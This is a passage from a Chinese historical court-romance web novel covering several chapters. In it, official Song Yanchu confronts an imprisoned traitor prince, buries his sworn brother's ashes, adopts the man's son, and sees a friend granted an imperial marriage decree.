另一边，陆思云跟着宋晏初走进书房，看到他一个人独自站在窗前落寞的身影，她知道他定是在为杨大哥难过。
她轻轻地走到他身后，从后面抱住他的腰。
“在想杨大哥？”
宋晏初握住腰间上的手，望着窗外，淡淡地道：“方才我在大殿上，当着陛下的面，将杨大哥身上的箭拔出时，我看到杨大哥的遗体已经溃烂无比，臭味熏天，朝臣们全都掩住口鼻，露出嫌恶之色。一想到杨大哥就是为了保护这般人驻守边疆多年，将自己的一生都献给了大宣，心中悲痛。”
“你已经做得很好了，你完成杨大哥的心愿，他泉下有知一定会感到欣慰的。”
“大哥生前有两个心愿，我已经完成了其中一件，接下来我想带他回他的家乡与家人团聚。”
“我正想同你商量此事。”
宋晏初闻言转过身看向她。
陆思云继续说：“杨大哥的遗体已经耽搁了许久，也正如夫君所说已经腐败溃烂，如果将这样一句残破的遗体带回去给他的家人，我想他的家人看到也会伤心欲绝。我想在府上为杨大哥摆个灵堂，为他超度，然后将他火化，带他的骨灰回家，你看如何？”
宋晏初听了，点头赞同：“还是你想得周到。杨大哥待我如亲兄弟，为他设灵堂本就是我这个做弟弟的应该做的。”
“既然夫君同意，那我便命人着手准备。”
“有劳夫人。”
陆思云握住他的手，“杨大哥是你的义兄，便也是我的兄长，这都是我应该做的。”
宋晏初心中甚为感动，他将陆思云搂在怀中，两人无声一起望向窗外。
------
夜色渐浓，宗人府地牢内，和亲王站在大牢中，他依旧穿着朝服，就算在这牢狱中，也依旧显露出他的贵族之气。
远处原来铁门打开的声音，随即一阵脚步声由远及近，朝着他的牢房走过来。
和亲王的脸上没有任何表情，仿佛他早预料到今晚会有人来看他。
宋晏初走到他的牢房前，两人面对面站着，中间隔着铁框。
“宋大人，本王等你很久了。”
“王爷怎么这么笃定，我就一定会来？”
“赢了的人，难道不想来看看手下败将的下
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场？”
宋晏初看着他，眼底微缩，带着些许冷意：“和亲王，我本无意加入这场战局，是你逼我入局。如今怎倒是怪起我来了？”
“成王败寇，我既然输了，便无话可说。”
“王爷觉得，你败在何处？我又赢在何处？”
和亲王张开双臂，挑眉看着他，“你我如今一个在牢内，一个官复原职继续为朝廷效力，胜败还不明显么？”
“也许对王爷来说，手握重权、享受荣华富贵，一人之上万人之下，才是王者，才是毕生所求。但对我来说，大宣国国泰民安，家人康健，才是我的人生所求。如今我失去至亲、失去养父、失去义兄，我珍视的亲人全都离开了我，我又有什么好值得得意的？”
“本王也因此失去了自己最敬重的老师。朝堂之上，拼个你死我活，乃常事。”
“常事？”宋晏初的脸上染上了一层怒气：“你为了皇权，操控权谋，谋害忠良，屠杀我族人，暗杀我养父，如果这些我不同你算账。那你与北国哈赤尔常年交换国之情报，通敌卖国，谋取私利，简直胆大妄为，简直可恶至极！不可原谅！你这样一个可以为了自己私欲背叛大宣的人，有什么资格坐在那把龙椅之上，受百姓敬仰？你根本不配！”
和亲王被他当面指责了一通，脸色铁青。
“你放肆！你竟然敢跟本王这样说话。”
宋晏初拍了拍身上的尘土，表情略带嘲讽：“怎么？我方才叫你王爷，不过是给你几分颜面，你当真还以为自己还是王爷？如今我官复原职，而你是阶下囚，我为何不敢？”
“你！”
“做囚犯，得有做囚犯的样子。你不会以为穿着这身亲王服，就还以为自己是那位高高在上的和亲王吧。来人！将他的衣服给我扒下来！”
很快，从旁边冲出来几个衙役，将和亲王的衣服尽数扯下，只剩下白色内衫。
和亲王气得脸色铁青，用手指怒指向宋晏初：“你居然敢如此羞辱我！待我见了皇上，定要好好参你一本。”
“皇上？”宋晏初冷笑道：“你觉得皇上会愿意见一个通敌卖国的奸佞么？”
和亲王的脸色顿时露出了绝望之色。
但宋晏初并不打算就这样放过他，“你所做的一切，无论是我的私仇还是国仇，终将会得到应有的报应。萧和，这都是你咎由自取的结果。他日你上了断头台，我也会去送你最后一程。”
说完，宋晏初头也不回地离开了大牢。
不顾身后和亲王的哭喊声：“我要见皇上！宋晏初，你不要走！我要见皇上！”
从宗人府回来，宋晏初坐在自己府宅门口，却迟迟没有进门。
他坐在台阶上，吹着寒风，试图让自己的心情平复下来。
“夫君？”身后响起陆思云的声音：“你怎么不进府？”
宋晏初拍了拍旁边的石阶，让她坐在自己的身边。
“我方才从宗人府回来。”
陆思云一听，就明白他是去见了和亲王，她握住他的手，鼓励他继续说下去。
“我原本是想去看忏悔的样子，可谁知他竟然毫无任何悔恨之意。真的有人会如此善恶不分，是非不分么？”
看着他满脸疑惑的神情，陆思云忍不住伸手捧住他的脸。
90.第 90 章
陆思云伸手捧住他的脸，让他转过头来看向自己。
眼前的这个人，他骨子里正直善良，并且他也是一直都是在这样正面正义的环境中长大，所以他无法理解那些阴暗诡秘之事，因为这些污秽的事物在他纯洁的世界中根本不存在。
可现实却结结实实地给他上了一课。
“这个世界本就不是非黑即白，夫君只要守住自己心中的纯净之地，做到问心无愧，就已足矣。何必为旁人，庸人自扰。”
宋晏初看着她的眼睛，她的眼珠漆黑如珍珠一般透亮。
他伸手握住放在自己脸颊两侧的手，将她握在自己的胸前。
“谢谢你，思云。总是在我低落和迷茫的时候鼓励我，陪在我身边。”
温存了一会儿，陆思云才想起来正事：“明日会在府上给杨大哥设灵堂，我们一起送他最后一程，可好？”
宋晏初点点头。
生前他没办法为杨大哥做些什么，他希望杨大哥的后事能办的妥帖周到，以告慰他的在天之灵。
皇上下令，要以大宣国最高级别的葬礼仪式来为杨将军送行，所以规模十分声势浩大。
为了方便将他带回故土，下葬的方式还是选择了火化。
杨诚的遗体躺在一堆枯树枝和稻草做的枯草床上，宋晏初站在一旁，手举火炬，看着他泪眼朦胧。
曾经与杨诚的点滴回忆浮现在眼前。
“杨大哥，萧和已经被斩首示众。你和将士们的冤情我也已经呈报给圣上裁决，相信你在天之灵可以安息了。”
说完，他用手中的火把，点燃了遗体之下的枯叶。
火苗立刻蹿了起来，很快杨诚将军的遗体便包围在火焰之中。
众人眼含热泪，看着杨将军的尸体被火焰慢慢吞噬。
给杨诚将军办完丧事，宋晏初便和陆思云带着他的骨灰，一起前往杨诚将军的家乡惠县。
惠县离洛城坐马车需要三天的时间。
一路上，宋晏初看着窗外熟悉又陌生的风景，心中有些感慨。
他这一年多都生活在边疆，那里地处偏远，寸草不生，环境恶劣，放眼望去全是枯叶和皑皑白雪。
如今再看到外面这绿油油的树林，让他有一种恍如隔世的错觉。
带着兄长的骨灰去见他的亲人，本就是一件特别让人悲伤的事。
所以这一路上，陆思云和宋晏初都无心欣赏路上的风景，两人的心情都比较沉重。
惠县是一个渔村，渔民们居住在海边，常年靠捕鱼为生。
渐渐的，有越来越多的人来此处捕鱼，在这里安家落户，慢慢的小渔村发展为小县城。
杨将军的家就住在海边的一座小屋内。
马车到了惠县，他们问了路，又辗转了几处，这才找到了杨诚将军的住处。
宋晏初抱着杨诚的骨灰，站在屋门外，有些却步。
他不知该如何向杨大哥的妻儿提起此事。
他们长年未见，如今回来的却是一抔黄土，这对他的妻儿来说，该是多大的打击。
他也失去过至亲，知道那是一种怎样的痛彻心扉。
看出他的犹豫，陆思云握住他垂在身侧的手，鼓励道：“我们进去吧。”
宋晏初低头看向她，点点头。
两人刚准备进去，屋里走出来一位妇人。
那位妇人由于常年在海边风吹日晒，皮肤黝黑，但还是能看出她的五官十分端正，是个美人胚子。
“你们找谁？”
妇人见他们站在自己家门口，便问道。
“请问，这里是杨诚杨家军的屋子吗？”
一听到丈夫的名字，花娘的眼睛便亮了起来，她快速走到他们面前。
但当她看到宋晏初手中的白陶瓷罐，原本脸上欣喜的神情却瞬间僵住。
仿佛有所感知一般，她的眼泪立刻从眼角夺眶而出。
她伸手捂住嘴巴，有些不可置信地死死盯着那只陶瓷罐。
花娘不是没想过会有这么一天，只是她没有想到，当这一天真的来临时，她的心痛到无法承受。
宋晏初看到眼前的女子这般神情，就知道她一定是杨大哥的妻子。
他也瞬间红了眼眶，哽咽地开口：“我是同杨大哥一起驻守边境的宋晏初。在最后的那场战役中，杨大哥为了保护我身受重伤不治身亡。今日我将他的骨灰带回他的故乡，让他可以落叶归根。”
听到此处，花娘再也绷不住内心的伤痛，她伸出颤抖的双手，从宋晏初的怀中接过杨诚的骨灰，将它紧紧搂在怀中，失声痛哭了起来。
屋内突然跑出来一个看上去八九岁的小男孩，大概是听见外面母亲的哭声，于是跑了出来。
“母亲，发生什么事了，为何你在哭？”
花娘泣不成声，只能抱着孩子还有丈夫的骨灰一起大哭。
宋晏初与陆思云红着眼眶，看着眼前这对痛哭流涕的母子，心痛却无能为力。
他们谁也没办法，让人死而复生。
等花娘平复好自己的情绪，她才想到要请他们二位进屋。
花娘给他们倒了茶水。
虽然得知丈夫的死讯，她悲痛万分。但她还是努力压抑自己的伤痛，招待着远道而来的客人。
“谢谢二位，将夫君的骨灰带回来。其实从他出去当兵开始，我就知道迟早会有这么一天，我早就做好心理准备了。”
“在边境时，我与杨大哥已经结拜为异性兄弟。如今大哥不在，我有义务替他照顾你们母子。如果嫂子不介意，我可以接你们去洛城，我在洛城有宅院，虽然不算大，但是够住，也可以找教书先生教孩子读书。”
花娘擦了擦脸上的泪水，招呼着杨诚的孩子：“唤生，来，见过宋叔叔。”
唤生乖巧地喊道：“见过宋叔叔。”
宋晏初伸手摸了摸唤生的头。
花娘看着唤生，眼底尽是作为母亲的温柔：“我在这里住习惯了，要我去洛城那样的大都市生活，怕是会住不习惯。但是唤生他还小，陪我待在这种小地方，确实委屈他了。所以，如果宋兄弟不介意的话，就把唤生带上，让他可以在你的身边学做人，以后可以出人头地。”
宋晏初连忙答应：“嫂子，这是我应该做的。”
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>陆思云起身握住花娘的手，柔声道：“嫂子，唤生交给我们，您可以放心，我一定将他当做自己亲生孩子一样看到，好好照顾他养育他。”
谁知唤生突然大叫起来：“我不要离开这里，我不要离开我娘！娘，你不要唤生了吗？是唤生哪里不听话惹娘亲生气了，所以娘亲不要我了吗？唤生会改的，娘你千万不要扔掉我。”
花娘连忙蹲下身，哭着同儿子解释：“不是这样的唤生，娘没有不要你。这位宋叔叔是你爹爹的义弟，他可以带你去更好的环境里生活。等你长大了，你可以回来找娘，娘一直都在这里，哪里都不会去，也不会不要你的。”
陆思云也跟着花娘一起蹲下，耐心地跟唤生说道：“唤生，你不要紧张，我们带走你并不是为了要将你和娘亲分开。只是将你带去我们府中学习和生活，我答应你，我们定期会带着你回来看望娘亲的，好吗？你看你也到了该读书的年纪，惠县城里虽然有学堂，但是离你家里也很远，就算你去了县里的学堂读书，你也是要借宿在学堂，等下学了才有空回来看娘亲不是吗？现在只不过是将上学的地方放在了远一点的洛城，等平时休息的时候，你还是可以回来看望娘亲的。”
唤生到底是到了上学的年纪，只要大人耐心解释给他听，他还是可以理解状况。
听了陆思云的话，唤生原本激动的情绪立刻得到了缓解。
但他还是有些不放心地问：“真的吗？我不上学的时候就可以回来看我娘吗？”
“当然，”陆思云笑着摸了摸他的头顶，“唤生的娘亲永远是你的娘亲，谁都无法取代她在你心里的位置。等你学业有成，才能给你娘亲更好的生活，不是吗？”
这次唤生并没有在无理取闹，他伸出自己的小手将脸上的泪水擦干，小脸上满是坚定的神情：“是，我会努力读书，让我娘亲过上好日子。”
花娘在旁边听着儿子的话，原本流干的眼泪又奔涌而出。
宋晏初和陆思云陪着花娘将杨诚的骨灰下葬。
他站在杨诚的坟冢前说道：“杨大哥，如今我带您回到故里，落叶归根，也算是帮你完成了第二个遗愿。你放心，我会照顾好嫂子和唤生，让他们余生都喜乐安康。告别你之后，我们便要带着唤生一起回洛城，我会将他照顾好，找最好的先生教他读书，一定将他培养像你这般正直有抱负，心怀天下之人。”
又在杨诚的家中住了几日，他们便踏上了回程之路。
宋晏初将马车上的东西尽数搬下车送给到了花娘的屋中。
“嫂子，这些物品有一大部分是皇上赏赐给杨大哥的。剩下的是我作为义弟的一点心意。他是为了保卫大宣国的疆土而牺牲，是一位英雄，所以才会得到皇上的封赏。如今虽然杨大哥已经不在，但我们会永远怀念他。晏初这一生都不会忘记杨大哥对我的恩情。”
花娘看着这些多的东西，听着他说的这些话，心中感动，却一时不知道该说什么才好。
“宋兄弟，谢谢你。”
宋晏初继续说：“就算送再多东西，也无法弥补我心中的愧疚。杨大哥是救我而死，无论我做的再多，都是我应当做的。”
91.第 91 章
宋晏初和陆思云带着杨唤生回到洛城宋宅。
姑娘们一听他是杨将军的儿子，便对他十分地热情。
给他安排了房间，还给他置办了许多衣物，还将他围在一起使劲儿打量。
唤生第一次被这么多姐姐们围着，有些不知所措，小脸绯红。
莫婉晴看小男孩的脸红得快要滴出血来，于是出来替他解围：“好了好了，都散开各忙各的去，别把孩子吓着了。”
一行人都退去之后，莫婉晴弯下身对唤生说道：“唤生，我是你宋叔叔的朋友，你可以叫我晴姨。”
“晴姨好。”
唤生乖巧可爱，连莫婉晴都忍不住摸了摸他的头。
“去玩吧，以后就把这里当自己的家，不要拘束。”
唤生走后，莫婉晴看着他一路跑远了的幼小背影，忍不住笑道：“没想到，杨将军居然有这么大一个儿子。”
“杨将军驻守边境之时，花娘刚怀有身孕。可怜这孩子，从出生开始就未曾见过自己的父亲。”
听了她的话，莫婉晴的心中一阵心疼。
“这个孩子，是个可怜的孩子，但又是一个有福的孩子。以后他有你们照顾和培养，一定可以变成像他父亲一样正直勇敢的人。”
“这也是我和晏初所希望的。”
说完唤生的事，莫婉晴又道：“马上皇上就要召见我们几个入宫封赏，我打算到时候向皇上求一道赐婚。”
陆思云意外地看向她：“姐姐是想让皇上赐婚于你和陆大人？”
“我虽然是内阁大学士千金，但终究是个和离过的女子。就算我自己清楚我是清清白白，但在外人看来终究是配不上锦衣卫指挥使的。我不想以后他娶了我，要遭人背后戳脊梁骨。”
“姐姐多虑了，陆大人一看就不是会在意别人说什么的人啊。”
“我知道他并不在乎，可我却不能不在意。我不希望他因为我受人非议。”
陆思云看着莫婉晴脸上坚定的神情，忍不住道：“我觉得比起上一世，现在的你似乎更加勇敢了。”
最近这一年多的时间实在太过忙碌，发生了太多事，莫婉晴许久未想起上一世的事情了，经她这样一提起，一时有些恍惚。
“也许是这一世经历的比上一世多的多。我从未想过，女子也能走出内宅，闯出一片属于自己的天地，这是我上一世从来不敢想的事。现在回想起来，依旧觉得有些不可思议。”
“姐姐本来就能力不俗，如今姐姐也靠自己的实力证明了女子也可以同男子一样，立足于这天地间。”
“这还得多亏了妹妹的鼓励，如果不是妹妹先踏出那一步，我又怎么会受到激励也跟着走出来。”
“好了，我们就不要在这里互相吹捧对方了。我们一起去选一下进宫面圣的衣服，如何？”
“好啊。”
两人手挽手，亲昵地一起走进了里屋。
------
到了封赏那天，宋晏初和陆琛各自穿着朝服，陆思云与莫婉晴盛装来到大殿之上。
皇上看上去心情颇好，他笑着问：“晏初，杨家军的骨灰，有没有带回他的家乡好生安葬。”
“回禀陛下，前段时间我和夫人一起带着杨将军的骨灰回到惠县，将骨灰下葬，并将陛下的赏赐亲手交给了杨将军的夫人。不仅如此，臣还擅自做主，将杨将军的孩子接到府上，想给他找个先生好好教导。”
“很好，做得不错。杨将军乃一代忠良，如今为国牺牲，他的家眷必须要好好妥善照顾。”
说完杨将军的事，便到论功行赏的时候，文宣帝望着下面毕恭毕敬站着的四位年轻人，脸上是一脸欣慰。
他们是大宣国的人才，也是大宣国的希望。
“宋晏初，虽当街斩杀朝廷重臣被判流放边境，但因带兵打退北国军队，保我大宣国土，并且拿到和亲王通敌叛国的罪证，为大宣铲除奸佞，功不可没。现命你为大理寺卿，主事大理寺，并赏黄金千两。”
宋晏初跪下磕头：“微臣，谢陛下恩典。”
“陆琛，自掌管锦衣卫以来，一直对寡人对朝廷忠心耿耿。这次更是替寡人将晏初救出，与他一同击退敌军，功不可没。赏黄金千两。”
“微臣，谢陛下恩典。”
文宣帝又转头看向身旁的两位女子。
“早就听闻宋大人的两位夫人是女中豪杰，一位擅长断案，在六扇门里就屡破奇案，二夫人的破案能力寡人可是亲眼所见，果然名不虚传啊。另一位又擅长经商，寡人可是听说大夫人从摆摊卖点心起来，然后开始经营点心铺，之后居然还开了一家医馆。在打仗期间还施粥医人，可谓是医者仁心。二位夫人所做之事，怕是连男子也自愧不如。”
陆思云笑着回道：“作为大宣国子民，无论男女都有义务为国分忧。”
“说得好！寡人很是高兴，大宣国有你们这样优秀的女子。以后寡人也希望你们二位可以带头鼓励更多的女子从内院中走出，实现自己应有的价值。女子并不是非要围着男子转，她也有权利做自己想做之事，施展自己的抱负理想。”
陆思云和莫婉晴相视一笑，一起行礼：“臣妇谨记于心。”
“楚星然、莫婉晴，女中之豪杰，在各自擅长的领域发光发热，打破了大宣朝一直以来的旧俗，开创了大宣的先例。现封你们为‘一品诰命夫人’。”
听完皇帝的册封，莫婉晴突然双膝跪在大殿之上，高声道：“启禀陛下，臣妇有一事相求。”
此举，使得在场所有人全都看向了她。
陆思云眼神微动，她知道，莫姐姐要为自己争取幸福了。
陆琛盯着跪在前方的她，眉头微微蹙了一下。
文宣帝也觉得意外：“哦？说来听听。”
“在宋大人流放边境之前，他便写了和离书给我，所以早在那之后，我便同宋大人和离了。这是和离书，请皇上过目。”
莫婉晴从怀中掏出和离书，呈给陛下。
文宣帝皱眉看完和离书，看向宋晏初，问道：“宋爱卿，可有此事？”
宋晏初上前行礼道：“启禀陛下，确有此事。我早在离开洛城之前，便与莫娘子和离。”
“那你为何在那之后还与宋爱卿的家眷住在一起？”
“回陛下，虽然我与宋大人和离，但却是因为他不想
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拖累我，才会这么做。我与宋大人自小有婚约，成婚后他也一直与我相敬如宾，我不能因为他出事而独善其身，这不是我莫婉晴的为人。所以我选择留下来，同姑娘们一起生活。”
文宣帝赞赏地点点头：“莫娘子真是有情有义。那你求寡人的是何事？”
“我想求陛下赐婚。”
“赐婚？”
这下，不止是文宣帝感到惊讶，连一旁的陆琛也跟着一起怔住。
他突然意识到，她想要做什么，内心的震惊和悸动无法言说。
“你这是要寡人赐你和谁的婚？”
莫婉晴还未开口，陆琛便抬起脚走到她身侧，双膝跪在她身侧。
“陛下，臣斗胆请陛下赐婚臣与莫娘子。”
文宣帝看着眼前跪着的两个人，“你、你们……”
莫婉晴说：“陛下，臣妇虽然自小与宋大人有婚约，但对他从未有过男女之情。臣妇心悦于陆大人，如今臣妇已是自由身，恳请陛下为我们做主。”
皇上看着眼前的女子，她眼神坚定，当众求爱男子，却没有半点羞怯之色。
果然如外界所传，是一名奇女子。
宋晏初也趁此时机向皇上解释：“陛下，莫娘子作为我夫人之时，恪守本分，从未做任何逾矩之事。我也知她对我并无半点男女之情，我们更多的是把彼此当做家人，臣一直苦恼于一纸婚书耽误了她，后因我即将流放，才下决心写下和离书放她自由。她与陆大人情投意合，二人也经历了许多生死，臣都看在眼中。但是她毕竟是嫁过人，并且和离过，外界人言可畏，臣不愿他们因为臣而终日陷在莫须有的流言蜚语中。臣今日斗胆，请陛下答应他们的请求，为他们赐婚。”
听了他们的话，文宣帝这才有些了然地点点头。
他看着跪在下面的莫婉晴问：“莫娘子，你真的愿意用这‘一品诰命夫人’来换寡人一个赐婚？”
莫婉晴抬起头，笑着看向她，语气坚定地说：“是。”
陆琛侧过头看向她，眼里全是动容。
“好。既然陆琛与莫婉晴，郎才女貌、情投意合，寡人便赐婚于你们，准你们择日晚婚。”
“臣，谢陛下恩典！”
“臣妇，谢陛下恩典！”
四人受完了赏，高高兴兴地走出大殿。
陆思云提议：“今日这么高兴，不如我们小聚痛饮一番。”
宋晏初宠溺地看着她：“甚好。”
莫婉晴知道，这段时间大家为了生计、为了国事，操心劳力，一根弦总是绷得紧紧的。
如今告一段落，确实需要好好放松一番。
于是她笑道：“那今晚就在府上庆祝吧，我去让碧水他们准备一下。”
“好啊好啊。”
四人准备往宋府走去，陆琛却突然拉住了莫婉晴。
莫婉晴转身疑惑地看着他。
方才在大殿之上，莫婉晴的举动实在让他大为震撼，他没有想到她会不要赏赐只要一个赐婚。
“怎么了？”见他迟迟没有说话，莫婉晴柔声问。
千言万语，只化作一句话：“我陆琛此生，定不负你。”
92.第 92 章
“我陆琛此生，定不负你。”
莫婉晴愣住，随即露出幸福的笑容，她朝着他迈近了一步，伸手触摸着他的脸颊，低声道：“我知道。”
陆思云和宋晏初站在不远处，看着他们你侬我侬的样子，一边为他们终成眷属感到高兴，一边鸡皮疙瘩掉了一地。
她忍不住笑着对着那两人高声喊道：“喂！陆大人，大庭广众之下，有损锦衣卫冷面如霜的形象，回家再抱吧，可好？”
台阶上的两个人全都被她逗笑了。
宋晏初也忍不住嘴角的笑意，他走过去牵起陆思云的手，一起携手回家。
等他们回到府上，碧水和翠柳已经准备好了一大桌的菜，只等着他们回来一起庆祝。
而宋晏初也终于见到了许久没见的仕尔多。
少年见到自己的将军，立刻眼眶发红，跑过去将他一把抱住。
“将军，你终于平安回来了！”
宋晏初看着自己怀中痛哭的少年，心底一片柔软。
他揉着少年的头发，轻声道：“我听说是你独自来到洛城找到我的家人，告知他们我被困之事。谢谢你，仕尔多。”
少年从他怀里探出头，眼角带泪：“只要将军平安无事，让我做什么都愿意。”
“如今我已不是你的将军，如果你愿意，可以叫我一声宋大哥。”
“宋大哥！”
陆思云看着他们，他能感受得到仕尔多对宋晏初的依赖。
想必在军营中，他定是对这位少年多有照顾，这才让他们彼此结下了深厚的情意。
这天晚上，宋府从未这么热闹过。
大家把酒言欢，肆意畅快。
宋晏初坐在酒桌前，看着他们笑着、闹着。
觉得一年多未见，眼前的这些人似乎变了许多，但又什么都没有改变。
比起他离开之前，他们似乎变得更加独立、开朗，彼此间也更加亲昵了。
在回程的路上，陆思云断断续续跟他说了一些他不在的时候，他们都做了一些什么事。
光是从她的描述中，宋晏初便感觉到了不易。
很难想象这帮姑娘们是用怎样的胆量和毅力，将这份产业做起来，并且越做越好的。
一想都这，他举起酒杯，对着莫婉晴真诚地道谢：“婉晴，我不在的这些时日，多亏有你主持大局，才能将大家照顾好，谢谢你。”
莫婉晴笑地应了他这杯酒，一饮而下。
“虽然你我已不是夫妻，但情分还在。况且我与星然情同姐妹，宋家有难我定然不会自己离开的。”
“总之我欠你一次，以后如果你们有什么困难，我定万劫不复。”
陆琛笑道：“宋兄言重了。希望我们日后都能平安顺遂。”
“陆兄说得极是，是我失言了。”
“今天是个高兴的日子，我们就不要再谢来谢去了。姑爷、夫人和陆大人可以平安回来，我们也都回到了宋府，还得到了皇上很多赏赐，三喜临门，不值得我们所有人举杯同庆一番吗？”
翠柳笑着提议。
松萝立刻附和道：“翠柳妹妹说得对。让我们举杯，一起庆祝这最快乐的时光。”
所有人全都举起酒杯相碰在一起，空气中洋溢着欢快的氛围，久久不能散去。
宴会结束后，桌底下三三两两躺着人，全都醉的不省人事。
莫婉晴将陆琛送到门口。
陆琛转身问道：“确定不用我留下来帮忙吗？感觉你们当中，清醒的人比喝醉的人要少。”
莫婉晴被他逗笑了：“你是客，哪有让客人帮忙收拾残局的道理。放心吧，家里现在也有一些下人，能安排好一切。”
陆琛走近她，牵起她的手，有些依依不舍：“真想快点把你娶回家。让你成为陆府的女主人，这样我就可以每天都看到你。”
听出他语气中的委屈和不舍，莫婉晴心中甜蜜，她抬起下巴对着他笑道：“陆大人，那你今夜就得想想如何将我娶进门才行。”
陆琛嘴角微扬，带着他惯有的笃定：“那自然是八抬大轿，明媒正娶。我说过，我绝对不会让你受一点委屈，我陆琛说到做到。”
莫婉晴心中欢喜，她遵从自己的内心，靠在他怀中，闭上眼，感受着他坚实的心跳声。
这一世，她一定会幸福喜乐，得偿所愿。
宋晏初扶着醉醺醺的陆思云回到卧房。
印象里，这是她第二次醉酒。
上一次还是她任命去大理寺之前，与六扇门的同僚喝酒告别，他去酒楼接她。
陆思云今晚实在太高兴了，一时忍不住多喝了几杯。
她本就酒量差，几杯酒下肚就找不着东南西北了。
宋晏初费了老大的劲才将醉酒的陆思云哄骗回了房间。
陆思云回到房间，也不老实，满屋子找酒喝。
“酒呢？酒怎么找不到了，我还要继续喝！”
宋晏初只能无奈地哄着：“不喝了，时候不早了，该歇息了。”
一听到“歇息”二字，陆思云转过身看着她，眼神迷离，脸颊微红，看上去非常可爱。
她露出憨憨的笑容，一把搂住宋晏初的脖子，整个人就这样挂在他身上。
怕她摔跤，宋晏初下意识地搂住了她的腰：“小心摔着。”
陆思云将脸埋在他的胸前，说道：“晏初，我现在觉得好幸福。你平安回到我的身边，莫姐姐找到了自己的归宿，我们又回到了这里，一切都回归了原点。我们是不是可以像以前那样，过着平淡又不平凡的生活？”
宋晏初搂紧怀中的人，吻住她的发顶，哑声道：“会的，我们都会好好的。”
“你以后做任何事都不能那么冲动了，有我在你身边，我们可以相互商量，相互依靠。”
当时他被仇恨冲昏了头脑，完全没有冷静思考，也没有跟身边最亲近的人商量，就擅自做主，冲动行事，酿成大错。
虽然如今的结局看似很圆满，但他因冲动而受到的痛苦，那写经历依旧历历在目，让他后怕。
经此一遭，他再不会像之前那般，行事鲁莽，日后会更加谨慎行事。
“我下次不会了。我向你保证，下次再也不会了。”
两人搂在一起，站在窗前，欣赏着天空中的月色。
院外隐隐约约还能听到姑娘们的嬉
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笑声，着让陆思云的心情越发雀跃。
“方才在大殿之上，莫姐姐当众向皇上索要赐婚的模样，实在太洒脱了。”
回想起方才殿前的情景，宋晏初也忍不住敬佩道：“没想到婉晴平时温柔贤淑，却如此胆识过人。”
“只要是为了保护所爱之人，女子都会有无尽的勇气。”陆思云抬头说道。
宋晏初低头与她对视，眼里带着疑惑：“保护陆兄？此话何意？”
“莫姐姐虽然与你和离过，但毕竟是成过亲的人。她不希望陆大人娶她遭到旁人的非议，所以才会向皇上索要这个赐婚，这样他们的关系便是皇上钦点的，便不会再有人敢说他们了。”
“看来婉晴是真的很爱陆兄，甚至不惜用‘一品诰命夫人’这样的头衔来换这个赐婚。”
“以莫姐姐的为人，钱财和头衔，都是身外之物，都比不过一个心意相通之人来得珍贵。”
宋晏初突然起了逗她的心思，“那我们算不算是心意相通之人？”
陆思云抬起头怒视他，只不过她如今眼睛水汪汪的，一点杀伤力都没有。
“宋大人，事到如今你还问我这个问题，我是会生气的。”
宋晏初被她那可爱的模样撩拨的心痒难耐，他按难不住内心的悸动，低头吻住了她。
结束了一个缠绵陇长的亲吻以后，两人喘着气，额头相抵，看着对方。
宋晏初对她说道：“思云，等陆兄与婉晴大婚之时，我们也一起办一场盛大的婚礼，可好？”
“为何？我们不是已经是夫妻了？早就拜过堂了。”
宋晏初却坚定地摇头：“我只跟楚星然拜过堂，可从未同陆思云成过亲。我想重新光明正大地娶陆思云做我宋晏初的妻子。”
“你、你说什么？你再说一遍？”
陆思云觉得今晚自己喝了酒，神经有些吃顿，对宋晏初的说的话，有些反应不过来。
又或许，她是有些不敢相信自己的耳朵。
宋晏初松开她，与她面对面站着，他握住陆思云的肩膀，郑重其事地说：“陆思云，我想娶你为妻。并且我答应你，此以后我的身边只有你一人，永不纳妾。这是我对你的承诺，我说到做到。”
也许是酒精的关系，麻痹了她的泪腺。
又或是宋晏初的这番话，让她为之动容。
总之，陆思云的眼泪跟不要钱似的，止不住地往下流。
宋晏初伸手为她擦拭脸上的泪水，但却越擦越多。
他没办法，只能一把将她打横抱了起来。
陆思云下意识地搂住他的脖子，不解地问：“你干什么？”
宋晏初抱着怀里的人，嘴角微扬，带着磁性的声音低声在她耳边道：“夜深了，夫人，我们该去歇息了。”
陆思云立刻小脸通红，她伸出拳头轻轻敲了敲他的胸口，语气娇俏：“白天忙了一日，你还有精力开玩笑。”
“方才晚膳吃得太饱，现在需要运动运动，消消食才是。”
“宋晏初，你是什么时候变得这么油嘴滑舌的？”
“我自然是面对夫人一人时，才会如此。”
“喂……”
93.第 93 章
宋晏初官复原职，甚至还升为了大理寺卿。
陆思云作为一品诰命夫人，也顺利回到大理寺就职。
大家都暂时回归到了平静的生活，然而这样的平静很快就被打破。
皇上突然在御书房召见宋晏初和陆琛。
“前几天，北国的使者来我大宣，请求与我们签订停战协议。我想派你们二人出使北国，代表大宣去与他们签协议。”
“臣，领旨。”
“臣，领旨。”
出使北国，这正中宋晏初下怀。
他原本就打算等下次休沐的时候，就送仕尔多回北国他的家乡与家人团聚。
如今可以借着公事顺道带仕尔多回家，两件事一起办妥，那是更好。
宋晏初回府，将此事告知了陆思云。
这下她可就来了劲了。
最近她天天来回于大理寺和宋府，两点一线的生活实在是把她给憋坏了。
现在有机会可以去北国欣赏一下异国风光，她简直开心得要一跃而起。
“太好了，我从来没有去过北国，正好可以去看看北国的景色。”
她的反应都在宋晏初的意料之中，他宠溺地看着她那张满是期待的脸庞，仿佛是被她的快乐所感染，脸上也多了几分笑意。
随即他又转身对一旁的莫婉晴道：“这次陆兄也会与我一同前往，你如果愿意的话，也可以跟我们一起去。”
陆思云听了，立刻握住莫婉晴的手：“太好了，莫姐姐一起去，路上我也能有个伴儿了。”
最近铺子和医馆招了一些学徒，各个环节都循序渐进地开展，本就不必什么都要她亲力亲为。
她原本也想出去散散心。
真是赶巧了。
仕尔多知道自己马上就能回家见到亲人，也激动的恨不得绕着宋府跑上几圈。
一行人高高兴兴地出发了。
这一次，来城门给他们送行的是碧水、翠柳和松萝她们。
只是这次同前两次不同，他们的脸上都洋溢着笑容。
莫婉晴对碧水嘱咐道：“碧水，你年龄最大，一定要照顾好妹妹们，顾好家里。”
“知道了，夫人。府中和店里的事情您放心交给我，不用担心。”
松萝看着马上要出发游玩的莫婉晴一脸放不下家里的操心模样，有些无奈地握住她的手：“夫人，你安心跟着姑爷他们去北国好好游玩，家里的事儿就交给我们三个姑娘来打理。我们是您带出来的，跟您一起什么困难险阻没有经历过，早就练得金刚不坏之身，你不用担心我们，更不用担心家里。”
翠柳也忙着立军令状：“是啊，我们向你保证，等你回来，家里还是这样一切安好。”
听着姑娘们的各种保证，莫婉晴这才露出了安心的笑容。
“好好好，那我就彻底不管了，家里的事就交给你们了。”
